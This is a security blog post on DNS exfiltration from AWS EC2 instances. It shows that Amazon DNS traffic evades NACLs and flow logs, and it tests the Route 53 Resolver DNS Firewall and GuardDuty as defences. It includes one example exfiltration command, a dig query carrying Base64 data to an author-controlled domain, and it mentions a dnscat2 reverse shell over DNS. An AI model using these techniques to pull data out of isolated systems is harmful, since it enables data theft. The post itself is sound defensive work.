How to defend against DNS exfiltration in AWS?

• VPCs by default use the Amazon-provided DNS which can be used to bypass some network-level protection mechanisms (e.g. NACLs or SGs) or monitoring (e.g. VPC Flow Logs).
• Recently a new service has been released: the Route 53 Resolver DNS Firewall which allows for blocking and monitoring DNS queries to Amazon DNS.
• GuardDuty can also detect malicious DNS traffic, but only in a limited manner._

Some time ago I wrote a blog post about various ways how an adversary can exfiltrate sensitive data from EC2 instances. One of the described techniques was particularly interesting — you can communicate with an EC2 instance via DNS traffic that neither could be monitored nor controlled. But that is the past because at the end of March 2021 AWS released the Route 53 Resolver DNS Firewall which addresses this security gap. In this blog post, I’ll do some basic tests with this service to verify how good it is as well as I’ll show you that this is not the only native protection service we can rely on.

The DNS traffic works on port 53 UDP/TCP (this article presents a good explanation when DNS uses TCP protocol). Intuitively, you may expect that you can block such traffic on the network level using either Security Groups or Network Access Control Lists. So let’s do a quick test. On the below screenshot, you can see that I blocked whole DNS traffic using my subnet’s NACL (just a reminder: unlike Security Group, NACL rules are evaluated in the order, starting from the lowest numbered rule until the first match regardless of any higher-numbered rule that might contradict it):

If I try to use my custom DNS service provider, e.g. Google (which is available under 8.8.8.8 IP address), such DNS query will be blocked:

Furthermore, such rejected requests will be logged by VPC Flow Logs:

However, quite often EC2 instances use an Amazon-provided DNS server. This is because all (default and newly created) VPCs have enabled DNS resolution options by default. You can reach the Amazon-provided DNS server (or rather Route 53 Resolver service) using 169.254.169.253 IP address, or the reserved IP address at the base of the VPC IPv4 network range plus two. The AWS-provided DNS has one particularly interesting feature: it uses the Amazon network infrastructure, which you don’t control 😵. The documentation clearly points that you cannot filter traffic to or from the Amazon DNS server using network ACLs or Security Groups. Furthermore, such traffic is not even logged. The official VPC Flow Log documentation is also clear about not logging “(…) traffic generated by instances when they contact the Amazon DNS server”.

Security gap

Now imagine you want to isolate some EC2 instances in your VPC on the network level. To do it you can simply block whole traffic on your subnet’s NACL. All network traffic is blocked except… the DNS queries. If I run a command dig c2VjcmV0IG1lc3NhZ2U=.rzepsky.com, and I control a domain rzepsky.com, then the Base64 encoded message c2VjcmV0IG1lc3NhZ2U= will be exfiltrated to my name server.

Using the same approach I can even go a step further and set up a reverse shell with such isolated instance (e.g. using dnscat2):

Since 31st March 2021 DNS queries to Amazon DNS can be finally controlled using the DNS Resolver Firewall. The service allows you to define the Rule Groups with multiple Block/Allow/Alert rules in each group. Within each rule, you can specify your own domain list (e.g. resolve names only to example.com) or use the AWS managed domain list, which contains known malicious domains (e.g. those used for cryptojacking).

Let’s take a look if you can monitor all DNS queries. To do this, I set up the Alert rule which applies to any domain name (*):

It takes me a while to realize that in order to display the monitored queries you should first configure the Resolver query logging to push the logs to the CloudWatch log group. Once I did it, I can finally display all details about each DNS query sent to AWS provided DNS:

Then, I used the Block rule. It’s important to note that you should use a wildcard at the beginning of your domain name (of course only if you want to also block all queries to subdomains), e.g. *.[rzepsky.com](http://rzepsky.com/) domain:

As the result, all queries to rzepsky.com domain got no response (and of course didn’t touch my name server):

An important note about Route 53 Resolver DNS Firewall is the fact that it refers ONLY to queries sent to AWS-provided DNS. That means that if an adversary can use a custom DNS service, then those rules are not applied! So, even though I have enabled the Block rule to queries to rzepsky.com domain, I can still resolve the name using other DNS providers (but please note that it will only work if DNS traffic is enabled on NACLs, Security Groups and there’s also the route to Internet Gateway.

In order to block DNS queries to non-Amazon DNS providers, you should consider using Network Firewall (or block it using your NACL or Security Group). All firewall rules can be managed from one central point which is the AWS Firewall Manager.

DNS Resolver Firewall is not the only service that can monitor your communication with AWS-provided DNS. A service that can give you a helping hand in this field is… 🥁 AWS GuardDuty. When I sent single Base64 encoded messages in DNS queries to my DNS name server I didn’t observe any alert fired in GuardDuty. However, once I started a reverse shell over DNS to my server then the GuardDuty notified me about the following finding:

It’s still unclear for me if GuardDuty fired this alert because of a suspicious amount of DNS queries or a fingerprint of a malicious tool (I used dnscat2). If you did such tests or have knowledge of what exactly is a trigger for this rule then please let me know, so I’ll update this article.

Regarding DNS traffic inspection, please note that GuardDuty cannot access and process data from 3rd party or your own DNS resolvers.

I’m very happy that AWS finally addressed the concern around silent DNS exfiltration by releasing the DNS Resolver Firewall. This gives you the ability to better control traffic in isolated environments as well as to block traffic to known malicious domains. Another good news is that Guard Duty also inspects the DNS traffic and now I have clear proof of it.